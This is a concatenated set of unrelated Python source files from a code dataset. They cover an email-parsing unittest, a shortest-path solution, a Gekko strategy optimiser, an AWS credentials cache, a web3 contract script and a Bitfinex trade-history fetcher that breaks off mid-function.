+{"seq_id":"110835782","text":"import unittest\nfrom getEmailByNonRegex import is_email, get_emails, get_accounts\n\nclass TestGetEmailByRegex(unittest.TestCase):\n\tdef test_is_email(self):\n\t\tself.assertEqual(is_email(\"abcd_aisu123@gmail.com\"), True)\n\t\n\tdef test_get_emails(self):\n\t\tparagraph = \"ajskasjdkf asdfoig asdf1234@kkbox.com and 395ajkd0@gmail.com asdfpoig, asudig zxcvaj. Siif xjkc0234_49@demo.tw djjakzkxc, iiiie.\"\n\t\texpected = [\"asdf1234@kkbox.com\",\"395ajkd0@gmail.com\", \n\t\t\t\t\"xjkc0234_49@demo.tw\"]\n\t\t\n\t\tself.assertEqual(get_emails(paragraph), expected)\n\tdef test_get_accounts(self):\n\t\tparagraph = \"ajskasjdkf asdfoig asdf1234@kkbox.com and 395ajkd0@gmail.com asdfpoig, asudig zxcvaj. Siif xjkc0234_49@demo.tw djjakzkxc, iiiie.\"\n\t\texpected = [\"asdf1234\", \"395ajkd0\", \"xjkc0234_49\"]\n\t\t\n\t\tself.assertEqual(get_accounts(paragraph), expected)\n\n\nif __name__ == '__main__':\n\tunittest.main()\n","sub_path":"UnitTestforNonRegex.py","file_name":"UnitTestforNonRegex.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"184437324","text":"import sys\nimport heapq\n\nread = sys.stdin.readline\n\ndef solution(N, M, buses, start, end):\n cities = [[] for _ in range(N + 1)]\n for s, e, w in buses:\n cities[s].append((e, w))\n\n weight = [sys.maxsize for _ in range(N + 1)]; weight[start] = 0\n\n queue = []; heapq.heappush(queue, (weight[start], start))\n\n while queue:\n w, dest = heapq.heappop(queue)\n\n if dest == end: break\n\n for e, w1 in cities[dest]:\n if weight[e] > w + w1:\n weight[e] = w + w1\n heapq.heappush(queue, (weight[e], e))\n \n return weight[end]\n\nif __name__ == '__main__':\n N = int(read())\n M = int(read())\n buses = [list(map(int, read().split())) for _ in range(M)]\n start, end = map(int, read().split())\n\n sys.stdout.write('%d\\n'%solution(N, M, buses, start, end))","sub_path":"1~10000/1916/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"147630921","text":"import os\n\nMONGO_PASS = os.environ.get('MONGO_PASS')\nMONGO_USER = os.environ.get('MONGO_USER')\n\nISO_TIMESTAMP_FORMAT = '%Y-%m-%dT%H:%M:%S.%fZ'\n\nCARD_DONE_STATUS = 'Done!'\nCARD_TODO_STATUS = 'To-do'\nCARD_DOING_STATUS = 'Doing'\n\nMONGO_LIST_DONE = 'done_items'\nMONGO_LIST_DOING = 'doing'\nMONGO_LIST_TODO = 'to_do'\n\ndef mapCardsToLocalRepresentation(cards):\n all_card_list = []\n for status, status_list in cards.items():\n for card in status_list:\n all_card_list.append(Card(\n str(card['_id']),\n card['name'],\n getCardStatusFromListName(status),\n card['dateLastActivity']\n ))\n all_card_list.sort(key=cardComparator)\n print(all_card_list)\n return all_card_list\n\n\ndef cardComparator(c):\n return 1 if c.status == CARD_DONE_STATUS else 0\n\n\ndef cardComparatorId(c):\n return int(c.id)\n\n\ndef cardComparatorTimestamp(c):\n return c.last_modified\n\n\ndef getCardStatusFromListName(list_name):\n if list_name == MONGO_LIST_DONE:\n return CARD_DONE_STATUS\n elif list_name == MONGO_LIST_DOING:\n return CARD_DOING_STATUS\n else:\n return CARD_TODO_STATUS\n\n\nclass Card:\n def __init__(self, id, name, status, last_modified):\n self.id = id\n self.status = status\n self.name = name\n self.last_modified = last_modified\n\n","sub_path":"board_utils.py","file_name":"board_utils.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"186754838","text":"from scripts import tools\n\n#INSTALL\npackages = ['python',\n 'python-numpy',\n 'python-pipenv',\n 'tk',\n 'cmake', #installed to build YouCompleteMe vim Plugin\n 'boost', #same as cmake for YouCompleteMe\n 'python-opengl'] #for qutebrowser with webengine backend\ntools.pacaur(packages)\n","sub_path":"scripts/code_env.py","file_name":"code_env.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"435548418","text":"import merakikernel.riotapi.teamapi\nimport cassiopeia.type.dto.team\nimport cassiopeia.dto.teamapi\nimport cassiopeia.dto.requests\n\n\ndef get_teams_by_summoner_id(summoner_ids):\n region = cassiopeia.dto.requests.region\n summoner_ids = \",\".join([str(id_) for id_ in summoner_ids]) if isinstance(summoner_ids, list) else str(summoner_ids)\n response = merakikernel.riotapi.teamapi.summoner_teams(region, summoner_ids)\n\n for id_, teams in response.items():\n response[id_] = [cassiopeia.type.dto.team.Team(team) for team in teams]\n\n return response\n\n\ndef get_teams_by_id(team_ids):\n region = cassiopeia.dto.requests.region\n team_ids = \",\".join(team_ids) if isinstance(team_ids, list) else team_ids\n response = merakikernel.riotapi.teamapi.team(region, team_ids)\n\n for id_, team in response.items():\n response[id_] = cassiopeia.type.dto.team.Team(team)\n\n return response\n\n\ndef patch_api():\n get_teams_by_summoner_id.__doc__ = cassiopeia.dto.teamapi.get_teams_by_summoner_id.__doc__\n cassiopeia.dto.teamapi.get_teams_by_summoner_id = get_teams_by_summoner_id\n\n get_teams_by_id.__doc__ = cassiopeia.dto.teamapi.get_teams_by_id.__doc__\n cassiopeia.dto.teamapi.get_teams_by_id = get_teams_by_id\n","sub_path":"merakikernel/integrations/cassiopeia/teambindings.py","file_name":"teambindings.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"31387070","text":"import os\nimport pandas as pd\nimport json\n\n# Loading the entire json as object\nwith open(os.getcwd()+\"/python-utils/files/nyphil.json\") as f:\n df = json.load(f)\n\n# Creating empty lists inorder to append each row after normalizing\ndf1 = []\ndf2 = []\ndf3 = []\ndf4 = []\n\n# Creating programs, works, soloists dataframes through loop\nfor program in df['programs']:\n if(program['id'] == '00646b9f-fec7-4ffb-9fb1-faae410bd9dc-0.1'):\n program_df = pd.json_normalize(program)\n id = program['id']\n df3.append(program_df)\n for work in program['works']:\n work_df = pd.json_normalize(work)\n work_df['id'] = id\n ID = work_df['ID']\n df1.append(work_df)\n if (len(work['soloists']) == 0):\n solo_ = pd.DataFrame()\n solo_['id'] = work_df['id']\n solo_['ID'] = work_df['ID']\n df2.append(solo_)\n else:\n for soloist in work['soloists']:\n solo_df = pd.json_normalize(soloist)\n solo_df['id'] = work_df['id']\n solo_df['ID'] = work_df['ID']\n df2.append(solo_df)\n\n# Creating concerts only dataframe\n# This processing can also be added in the previous loop as well.\nfor program in df['programs']:\n if(program['id'] == '00646b9f-fec7-4ffb-9fb1-faae410bd9dc-0.1'):\n id = program['id']\n for concert in program['concerts']:\n concert_df = pd.json_normalize(concert)\n concert_df['id'] = program['id']\n df4.append(concert_df)\n\n# Concatenating the list to form final dataframes for program, work, concerts, soloists\np_df = pd.concat(df3, sort=False)\np_df.drop(['concerts', 'works'], axis=1, inplace=True)\nw_df = pd.concat(df1, sort=False)\nw_df.drop(['soloists'], axis=1, inplace=True)\ns_df = pd.concat(df2, sort=False)\nc_df = pd.concat(df4, sort=False)\n\n# Merging dataframes one by one\nout_1 = w_df.merge(s_df, how=\"inner\", left_on=['id', 'ID'], right_on=['id', 'ID'])\nout_2 = out_1.merge(c_df, how=\"inner\", left_on=['id'], right_on=['id'])\nout_3 = out_2.merge(p_df, how=\"inner\", left_on=['id'], right_on=['id'])\n\n# Saving all the dataframes separately as well as the output\np_df.to_csv(os.getcwd()+\"/python-utils/files/p_df.csv\", index=False)\nw_df.to_csv(os.getcwd()+\"/python-utils/files/w_df.csv\", index=False)\ns_df.to_csv(os.getcwd()+\"/python-utils/files/s_df.csv\", index=False)\nc_df.to_csv(os.getcwd()+\"/python-utils/files/c_df.csv\", index=False)\nout_3.to_csv(os.getcwd()+\"/python-utils/files/out.csv\", index=False)\n","sub_path":"python-utils/utils/normalising_json.py","file_name":"normalising_json.py","file_ext":"py","file_size_in_byte":2584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"327129129","text":"#!/bin/python\nimport json\nimport random\nimport promoterz\n\nfrom copy import deepcopy\n\nimport coreFunctions\n\nimport promoterz.sequence.standard_loop\n\nfrom deap import tools\nfrom deap import algorithms\nfrom deap import base\n\nfrom Settings import getSettings\nimport stratego\nfrom functools import partial\n\n# TEMPORARY ASSIGNMENT OF EVAL FUNCTIONS; SO THINGS REMAIN SANE;\ndef aEvaluate(constructPhenotype, candleSize, DateRange, Individual, gekkoUrl):\n phenotype = constructPhenotype(Individual)\n StratName = stratego.gekko_strategy.createStrategyFile(phenotype)\n phenotype = {StratName:phenotype}\n SCORE = promoterz.evaluation.gekko.Evaluate(candleSize,\n DateRange, phenotype, gekkoUrl)\n return SCORE\ndef bEvaluate(constructPhenotype, candleSize, DateRange, Individual, gekkoUrl):\n phenotype = constructPhenotype(Individual)\n phenotype = {Individual.Strategy: phenotype}\n SCORE = promoterz.evaluation.gekko.Evaluate(candleSize,\n DateRange, phenotype, gekkoUrl)\n return SCORE\n\n\ndef gekko_generations(TargetParameters, GenerationMethod, EvaluationMode, NB_LOCALE=2):\n\n GenerationMethod = promoterz.functions.selectRepresentationMethod(GenerationMethod)\n genconf=getSettings('generations')\n if EvaluationMode == 'indicator':\n Evaluate = aEvaluate\n Strategy = None\n else:\n Evaluate = bEvaluate\n Strategy = EvaluationMode\n\n globalconf = getSettings('Global')\n print(\"Evolving %s strategy;\\n\" % Strategy)\n\n print(\"evaluated parameters ranges:\")\n\n TargetParameters = promoterz.utils.flattenParameters(TargetParameters)\n\n GlobalTools = GenerationMethod.getToolbox(Strategy, genconf, TargetParameters)\n\n\n RemoteHosts = promoterz.evaluation.gekko.loadHostsFile(globalconf.RemoteAWS)\n globalconf.GekkoURLs+=RemoteHosts\n if RemoteHosts:\n print(\"Connected Remote Hosts:\\n%s\" % ('\\n').join(RemoteHosts))\n\n\n for k in TargetParameters.keys():\n print( \"%s%s%s\" % (k, \" \" * (30-len(k)), TargetParameters[k]) )\n\n GlobalTools.register('Evaluate', Evaluate,\n GlobalTools.constructPhenotype, genconf.candleSize)\n\n\n availableDataRange = promoterz.evaluation.gekko.getAvailableDataset(\n exchange_source=genconf.dataset_source)\n\n showdatadaterange = [ promoterz.evaluation.gekko.epochToString(availableDataRange[x])\\\n for x in ['from', 'to'] ]\n\n print(\"using candlestick dataset %s to %s\" % (showdatadaterange[0],\n showdatadaterange[1]))\n\n\n loops = [ promoterz.sequence.standard_loop.standard_loop ]\n World = promoterz.world.World(GlobalTools, loops,\n genconf, globalconf, TargetParameters, NB_LOCALE,\n EnvironmentParameters=availableDataRange)\n\n while World.EPOCH < World.genconf.NBEPOCH:\n World.runEPOCH()\n # RUN ENDS. SELECT INDIVIDUE, LOG AND PRINT STUFF;\n #FinalBestScores.append(Stats['max'])\n print(World.EnvironmentParameters)\n ValidationDataset =\\\n promoterz.evaluation.gekko.globalEvaluationDataset(World.EnvironmentParameters,\n genconf.deltaDays, 12)\n\n for LOCALE in World.locales:\n BestIndividues = tools.selBest(LOCALE.population, genconf.finaltest['NBBESTINDS'])\n\n Z=genconf.finaltest['NBADDITIONALINDS']\n AdditionalIndividues = tools.selTournament(LOCALE.population, Z, Z*2)\n AdditionalIndividues = [ x for x in AdditionalIndividues if x not in BestIndividues ]\n FinalIndividues = BestIndividues + AdditionalIndividues\n\n for FinalIndividue in FinalIndividues:\n\n AssertFitness, FinalProfit=coreFunctions.stratSettingsProofOfViability(World,\n FinalIndividue,\n ValidationDataset)\n print(\"Testing Strategy:\\n\")\n if AssertFitness or FinalProfit > 50:\n FinalIndividueSettings = GlobalTools.constructPhenotype(FinalIndividue)\n\n Show = json.dumps(FinalIndividueSettings, indent=2)\n coreFunctions.logInfo(\"~\" * 18)\n\n\n print(\"Settings for Gekko config.js:\")\n print(Show)\n print(\"Settings for Gekko --ui webpage\")\n coreFunctions.logInfo(coreFunctions.pasteSettingsToUI(FinalIndividueSettings))\n\n print(\"\\nRemember to check MAX and MIN values for each parameter.\")\n print(\"\\tresults may improve with extended ranges.\")\n\n else:\n print(\"Strategy Fails.\")\n\n\n\n print(\"\")\n print(\"\\t\\t.RUN ENDS.\")\n\n\n","sub_path":"evolution_generations.py","file_name":"evolution_generations.py","file_ext":"py","file_size_in_byte":4844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"457768643","text":"#module for geometric shapes on the x,y plane\n\nimport math\n\ndef mp(p1,p2): #returns a point in the middle of p1 and p2\n x,y =p1\n x2,y2 =p2\n return ((x+x2)/2,(y+y2)/2)\n\ndef angle_of_vector(vector): #returns the angle between the x axis and the vector\n c1,c2 = vector\n x,y =c1\n x2,y2 =c2\n if(x-x2!=0):\n if(x>x2):\n ceta = ((math.atan((y-y2)/(x-x2))/math.pi)*180)\n else:\n if(y>y2):\n ceta = 180+((math.atan((y-y2)/(x-x2))/math.pi)*180)\n else:\n ceta = -180+((math.atan((y-y2)/(x-x2))/math.pi)*180)\n if(x-x2==0):\n if(y>y2):\n ceta = 90\n else:\n ceta = -90\n return ceta\n\ndef mag_v(vector):\n p1,p2 = vector\n x,y =p1\n x2,y2 =p2\n return(math.sqrt((x-x2)**2+(y-y2)**2))\n \n","sub_path":"geogebra_m.py","file_name":"geogebra_m.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"279905608","text":"from web3 import Web3\nimport json\n\n\ndef main():\n w3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))\n with open('../build/contracts/MyToken.json', 'r') as fr:\n erc20_json_dict = json.load(fr)\n\n # 1. 查看ganache上的输出,(在shell界面上可以查看,转账记录有etherscan??),如果不能查���可以考虑重新deploy一个合约,得到其地址\n tx_receipt = w3.eth.get_transaction_receipt('0x09d02b76e7b6d4a5a44279caca98f37a5968374dcf13efc985ea3661a7f5bf7e')\n contract_addr = tx_receipt['contractAddress']\n\n # 2. 生成该合约地址的合约对象,有两种方法\n contract = w3.eth.contract(address=contract_addr, abi=erc20_json_dict['abi'])\n\n ContractClass = w3.eth.contract(abi=erc20_json_dict['abi'])\n contract_method2 = ContractClass(address=contract_addr)\n\n # for acc in w3.eth.accounts:\n # print(acc)\n # 3. 如果给予一个没有合约的地址会发生什么?我们来试一试\n # 3.1 使用与合约地址相差一个数字的地址来测试\n # 0xA094d630D172FC529ba5756e5c0af4695C75Cd56 exit\n # 0xA094d630D172FC529ba5756e5c0af4695C75Cd55 not exit\n # contract_test1 = w3.eth.contract(address='0xA094d630D172FC529ba5756e5c0af4695C75Cd55', abi=erc20_json_dict['abi'])\n # contract_test1 cannot pass checksum\n\n # 3.2 使用一个个人账号的地址来测试,这个地址能通过checksum测试\n contract_test2 = w3.eth.contract(address='0xCF156D72bEAEc66678fD33dEBdE574e9CD781F82', abi=erc20_json_dict['abi'])\n # nothing happen,说明能生成该合约对象,但是在发送的时候可能会发生错误\n\n # 4. 查看合约的各种属性,包括了address, abi, bytecode, functions, events\n # 其中functions和events是对abi进行了解析\n print(contract.address)\n print(contract.abi)\n print(contract.bytecode)\n for x in contract.functions:\n print(x)\n for x in contract.events:\n print(x)\n\n print(type(contract.functions.increaseAllowance))\n\n\nif __name__ =='__main__':\n main()","sub_path":"Example18-web3py/tests/2_play_around_on_existing_contract.py","file_name":"2_play_around_on_existing_contract.py","file_ext":"py","file_size_in_byte":2039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"470727991","text":"from selenium.webdriver.firefox.webdriver import WebDriver\nfrom fixture.session import SessionHelper\nfrom fixture.group import GroupHelper\nfrom fixture.contacts import ContactHelper\n\n\nclass Application:\n def __init__(self):\n self.wd = WebDriver(capabilities={\"marionette\": False})\n # self.wd.implicitly_wait(5) use for dynamic elements\n self.session = SessionHelper(self)\n self.group = GroupHelper(self)\n self.contacts = ContactHelper(self)\n\n\n def open_home_page(self):\n # open home page\n wd = self.wd\n if not (wd.current_url.endswith(\"addressbook/index.php\") and (len(wd.find_elements_by_name(\"user\")) and len(wd.find_elements_by_name(\"pass\"))) > 0):\n wd.get(\"http://localhost/addressbook/index.php\")\n\n\n def is_valid(self):\n try:\n self.wd.current_url\n return True\n except:\n return False\n\n\n def destroy(self):\n self.wd.quit()","sub_path":"fixture/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"165631968","text":"\"\"\"Classes for caching AWS credentials\"\"\"\nfrom dataclasses import asdict, dataclass, field\nimport time\nfrom typing import Any, Dict, Optional, Type\n\nimport boto3\n\n\n@dataclass(frozen=True)\nclass AWSCredentials:\n \"\"\"Represents a set of AWS Credentials\n\n Args:\n access_key_id: AWS access key id\n secret_access_key: AWS secret access key\n session_token: AWS session token\n expiration: Session expiration as an epoch timestamp int\n \"\"\"\n\n access_key_id: str\n secret_access_key: str\n session_token: str\n expiration: int\n\n def is_expired(self) -> bool:\n \"\"\"Determine if this cache value is within 60 seconds of expiry\n\n Returns:\n True if this session is value is expired, else False.\n \"\"\"\n return int(time.time()) >= self.expiration - 60\n\n def get_session(self, region_name: Optional[str] = None) -> boto3.Session:\n \"\"\"Build a boto3.Session using these credentials\"\"\"\n return boto3.Session(\n aws_access_key_id=self.access_key_id,\n aws_secret_access_key=self.secret_access_key,\n aws_session_token=self.session_token,\n region_name=region_name,\n )\n\n @classmethod\n def from_dict(cls: Type[\"AWSCredentials\"], data: Dict[str, Any]) -> \"AWSCredentials\":\n \"\"\"Build an AWSCredentials object from a dictionary\"\"\"\n return cls(**data)\n\n\n@dataclass(frozen=True)\nclass AWSCredentialsCacheKey:\n \"\"\"Represents a credential cache key\n\n Args:\n account_id: session account id\n role_name: session role name\n role_session_name: session role session name\n \"\"\"\n\n account_id: str\n role_name: str\n role_session_name: str\n\n def __str__(self) -> str:\n return \":\".join((self.account_id, self.role_name, self.role_session_name))\n\n @classmethod\n def from_str(cls: Type[\"AWSCredentialsCacheKey\"], key: str) -> \"AWSCredentialsCacheKey\":\n account_id, role_name, role_session_name = key.split(\":\")\n return cls(account_id=account_id, role_name=role_name, role_session_name=role_session_name)\n\n\n@dataclass(frozen=True)\nclass AWSCredentialsCache:\n \"\"\"An AWSCredentialsCache is a cache for AWSCredentials.\"\"\"\n\n # https://github.com/PyCQA/pylint/issues/2698\n # pylint: disable=unsupported-assignment-operation,no-member,unsupported-delete-operation,unsubscriptable-object\n\n cache: Dict[AWSCredentialsCacheKey, AWSCredentials] = field(default_factory=dict)\n\n def put(\n self, credentials: AWSCredentials, account_id: str, role_name: str, role_session_name: str\n ) -> None:\n \"\"\"Put an AWSCredentials object into the cache.\n\n Args:\n credentials: credentials to cache\n account_id: session account id\n role_name: session role name\n role_session_name: session role session name\n \"\"\"\n session = credentials.get_session()\n sts_client = session.client(\"sts\")\n caller_id = sts_client.get_caller_identity()\n # make sure these creds are for the account the caller claims them to be\n if caller_id[\"Account\"] != account_id:\n raise ValueError(\n (\n f\"Credentials {credentials} are not for claimed account_id \"\n f\"{account_id} - they are for {caller_id['Account']}\"\n )\n )\n cache_key = AWSCredentialsCacheKey(account_id, role_name, role_session_name)\n self.cache[cache_key] = credentials\n\n def get(\n self,\n account_id: str,\n role_name: str,\n role_session_name: str,\n region_name: Optional[str] = None,\n ) -> Optional[boto3.Session]:\n \"\"\"Get a boto3 Session from AWSCredentials in the cache. Return None if no matching\n AWSCredentials were found.\n\n Args:\n account_id: session account id\n role_name: session role name\n role_session_name: session role session name\n region_name: session region_name\n\n Returns:\n boto3.Session from credentials if cached, else None.\n \"\"\"\n cache_key = AWSCredentialsCacheKey(account_id, role_name, role_session_name)\n cache_val = self.cache.get(cache_key)\n if cache_val is not None:\n if cache_val.is_expired():\n del self.cache[cache_key]\n else:\n return self.cache[cache_key].get_session(region_name=region_name)\n return None\n\n def to_dict(self) -> Dict[str, Any]:\n return {\"cache\": {str(key): asdict(val) for key, val in self.cache.items()}}\n\n @classmethod\n def from_dict(cls: Type[\"AWSCredentialsCache\"], data: Dict[str, Any]) -> \"AWSCredentialsCache\":\n cache = {\n AWSCredentialsCacheKey.from_str(key=key): AWSCredentials.from_dict(data=val)\n for key, val in data[\"cache\"].items()\n }\n return cls(cache=cache)\n","sub_path":"altimeter/aws/auth/cache.py","file_name":"cache.py","file_ext":"py","file_size_in_byte":4918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"541969360","text":"import pandas as pd\nimport numpy as np\nimport sqlite3\nimport datetime\nimport json\nimport hmac\nimport hashlib\nimport time\nimport requests\nimport base64\nfrom time import sleep\n\n\n#########################################################\n#\n# HIGH(ER) FREQUENCY TRADING\n# BITFINEX\n# STATIC 30 MIN (TODO: ADD ADDITIONAL TIME PERIODS)\n#\n#############\n\n\n\n\n\n#########\n# REBUILD PROCESSED DB IF NEEDED\n##\n\n# time_period = NONE\n# table_name = 'charts_' + time_period\n\n# # build query with explicit dtypes\n# create_table_query = '''\n# CREATE TABLE\n# IF NOT EXISTS %s (\n# pid text PRIMARY KEY,\n# date text,\n# currency_pair text,\n# min_global_trade_id integer,\n# open float,\n# high float,\n# low float,\n# close float,\n# volume float\n# );''' % table_name\n\n# # # connect to db\n# # conn = sqlite3.connect('db/processed.db')\n# # c = conn.cursor()\n\n# # # create table\n# # c.execute(create_table_query)\n\n# # # commit & close\n# # conn.commit()\n# # conn.close()\n\n\n\n\n\n#####################\n#\n# Initially, I was trading with Poloniex so I used their nomenclature.\n# unfortuantely Bitfinex is a little different, so this \"currency pair map\"\n# is used to standardize the naming.\n#\n########\n \ndef get_cp_map():\n '''\n keeping polo's naming convention for db reasons. updating can be done by hardcoding\n here or by using the update method (though it's best to just hardcode it)\n '''\n \n cp_dict = {\n \n 'USDT_BTC': 'tBTCUSD', 'USDT_BCH': 'tBCHUSD', 'USDT_LTC': 'tLTCUSD',\n 'USDT_ETH': 'tETHUSD', 'USDT_ETC': 'tETCUSD', 'USDT_ZEC': 'tZECUSD',\n 'USDT_XMR': 'tXMRUSD', 'USDT_DASH': 'tDSHUSD', 'USDT_SAN': 'tSANUSD',\n 'USDT_NEO': 'tNEOUSD', 'USDT_IOTA': 'tIOTUSD', 'USDT_OMG': 'tOMGUSD',\n 'USDT_QTUM': 'tQTMUSD', 'USDT_ZRX': 'tZRXUSD', 'USDT_BAT': 'tBATUSD',\n 'USDT_BTG': 'tBTGUSD', 'USDT_SNT': 'tSNTUSD', 'USDT_GNT': 'tGNTUSD',\n 'USDT_FUN': 'tFUNUSD', 'USDT_AVT': 'tAVTUSD', 'USDT_SPANK': 'tSPKUSD',\n 'USDT_EDO': 'tEDOUSD', 'USDT_QASH': 'tQSHUSD', 'USDT_EOS': 'tEOSUSD',\n 'USDT_XRP': 'tXRPUSD'\n }\n\n # map cp for easy indexing\n cp_map = Mapping()\n for cp in cp_dict:\n cp_map[str(cp)] = str(cp_dict[cp])\n \n return cp_map\n\n\n\n# two way dictionary / map for currency pairs\nclass Mapping(dict):\n def __setitem__(self, key, value):\n # Remove any previous connections with these values\n if key in self:\n del self[key]\n if value in self:\n del self[value]\n dict.__setitem__(self, key, value)\n dict.__setitem__(self, value, key)\n\n def __delitem__(self, key):\n dict.__delitem__(self, self[key])\n dict.__delitem__(self, key)\n\n def __len__(self):\n return dict.__len__(self) // 2\n\n\n\n#####################\n#\n# Class to retrieve, process, and store trade history\n#\n########\n\n\nclass TradeHistory():\n \n def __init__(self, time_period, currency_pairs, verbose = False):\n \n self.time_period = time_period\n self.currency_pairs = currency_pairs\n self.cp_map = get_cp_map()\n self.verbose = verbose\n self.pairs_to_update = set(self.currency_pairs)\n self.pairs_updated = set()\n self.processed_table_name = 'charts_' + self.time_period\n \n # load previous 'last trade IDs' for faster db search\n self.last_trade_id_filename = 'db/KEEP_query_optim_utils.csv'\n last_trade_ids = pd.read_csv(self.last_trade_id_filename)\n last_trade_ids.index = last_trade_ids.currency_pair\n self.last_trade_id_dict = dict(last_trade_ids['global_trade_id'].to_dict())\n \n # helper to make a single call for the trade history (limited to 1000 trades)\n def _trade_history_endpoint(self, cp, start, end):\n endpoint = 'https://api.bitfinex.com/v2/trades/%s/hist?limit=1000&start=%s&end=%s' % (cp, start, end)\n return endpoint\n \n # helper, current epoch time\n def _epoch_now(self):\n return int(datetime.datetime.now().timestamp())\n \n # get the date of the latest trade in db, use this as the start date for API calls\n def _get_latest_trade_date(self, cp):\n \n if self.verbose:\n print('\\ngetting trades for:', cp)\n print('finding date of last trade...')\n\n # connect to db\n conn = sqlite3.connect('db/raw.db')\n c = conn.cursor()\n\n # using the saved dict, set the last known Global Trade ID for this pair\n last_known_global_trade_id = self.last_trade_id_dict[cp]\n\n # use a subquery (that only pulls in trade history beyond what was last\n # seen, as per the last_trade_id_dict) in order to speed up search\n sub = '''\n SELECT date, currency_pair, trade_id, global_trade_id\n FROM trade_history\n WHERE global_trade_id >= %s\n ''' % last_known_global_trade_id\n\n # get the date of the latest trade\n latest_date_query = '''\n SELECT MAX(date)\n FROM (%s)\n WHERE currency_pair=\"%s\"\n AND trade_id=\"0\"\n ''' % (sub, cp)\n\n # query for latest date pinged\n start_time = pd.read_sql(latest_date_query, conn).iloc[0][0]\n\n # close connection\n conn.close()\n\n return start_time * 1000\n \n # this will be called if there is no data for respective pair in: self.last_trade_id_dict\n def _get_latest_trade_date_fallback(self, cp):\n\n # connect to db\n conn = sqlite3.connect('db/raw.db')\n c = conn.cursor()\n\n # latest date query\n latest_date_query = '''\n SELECT MAX(date)\n FROM trade_history\n WHERE currency_pair=\"%s\"\n AND trade_id=\"0\"\n ''' % cp\n\n # query for latest date pinged\n start_time = pd.read_sql(latest_date_query, conn).iloc[0][0]\n\n # close connection\n conn.close()\n\n return start_time * 1000\n \n # save the recent trade IDs to a csv so they can be easily loaded next timed\n # note: it is first converted to a df for ease, pandas is just the best :D\n def _save_last_trade_id_dict(self, id_dict):\n\n # convert to df for easy saving\n df = pd.DataFrame([id_dict])\n pairs = df.columns.tolist()\n df = df.T.copy()\n df.columns = ['global_trade_id']\n df['currency_pair'] = pairs\n df = df.reset_index(drop = True).copy()\n \n # write to csv\n df.to_csv(self.last_trade_id_filename, index = False)\n \n return None\n \n # get full trade history for the selected date range, end date defaults to now\n def _get_full_trade_history(self, cp, start_date, end_date = int(datetime.datetime.now().timestamp() * 1000)):\n\n df = pd.DataFrame()\n cp = str(self.cp_map[cp])\n prev_status = pd.to_datetime(end_date, unit = 'ms')\n new_data_len = 1000\n i = 0\n\n # continue to call the api until the limit is not reached\n while new_data_len >= 1000:\n\n try:\n # get the new data\n new_data = pd.read_json(self._trade_history_endpoint(cp, start_date, end_date))\n new_data_len = len(new_data.index)\n\n # set new min and max date\n max_date = int(new_data.iloc[0,1])\n min_date = int(new_data.iloc[-1,1])\n\n # append new trade data to df\n df = df.append(new_data)\n\n # reset the end date based off of the new min date\n end_date = int(min_date)\n\n # limited to ~20 requests per min on this endpoint\n sleep(3)\n i += 1\n\n # handle errors and rate limit issues\n except Exception as e:\n\n # print error\n print(e)\n\n # try/except in case we get an error other than \"Too Many Requests\"\n try:\n # if we get a \"Too Many Requests\" error\n if int(e.status) == 429:\n print('hit rate limit, sleeping for a minute...')\n sleep(60)\n\n # usually it's just a connection reset error so it's okay to continue. consider\n # changing if we get other errors (possibly requiring to return current results)\n except: pass\n \n # print status\n if i % 10 == 0 and self.verbose:\n print('\\nIteration:', i)\n status = pd.to_datetime(min_date, unit = 'ms')\n print('Status:', str(status))\n print('Concentration:', str(prev_status - status))\n prev_status = pd.to_datetime(min_date, unit = 'ms')\n\n # set col names\n df.columns = ['id', 'date', 'amount', 'rate']\n\n return df\n \n # process the raw bfx data so that it matches polo's trade history\n def _process_raw_bfx_trade_history(self, raw_trade_history_df):\n \n raw_trade_history_df['type'] = raw_trade_history_df['amount'].apply(lambda x: 'buy' if np.sign(x) > 0 else 'sell')\n raw_trade_history_df['amount'] = abs(raw_trade_history_df['amount'])\n raw_trade_history_df['total'] = raw_trade_history_df.rate * raw_trade_history_df.amount\n raw_trade_history_df['global_trade_id'] = raw_trade_history_df['id'] * 1000000 # lazy way to accomodate both polo and bfx\n raw_trade_history_df['trade_id'] = 0\n raw_trade_history_df = raw_trade_history_df[[col for col in raw_trade_history_df.columns.tolist() if col != 'id']]\n raw_trade_history_df['date'] = raw_trade_history_df['date'] / 1000\n raw_trade_history_df['date'] = raw_trade_history_df['date'].astype('int')\n\n return raw_trade_history_df\n \n # calculate the number of updates (retrieval of trade history from bfx) during each trading period\n def _n_updates(self, update_interval = 600):\n seconds_left = self.period_end - self._epoch_now()\n n_updates = int(round(seconds_left / update_interval)) + 1\n sleep_time = (seconds_left - (n_updates * 10)) / n_updates\n \n return n_updates, sleep_time\n \n # get latest trade\n def _get_latest_trade_history(self, currency_pairs):\n \n # set empty df for appending\n df = pd.DataFrame()\n\n # get latest trade history for each pair\n for k in currency_pairs:\n \n # retrieve the date to start getting trade data from\n try:\n start_date = self._get_latest_trade_date(k)\n except:\n print('\\n\\nWARNING: Could not find Trade ID in Latest Trade ID dict. Please ensure that this is a new currency pair.\\n\\n')\n start_date = self._get_latest_trade_date_fallback(k)\n \n if self.verbose:\n print('Date of latest trade:', start_date)\n \n # get recent trade 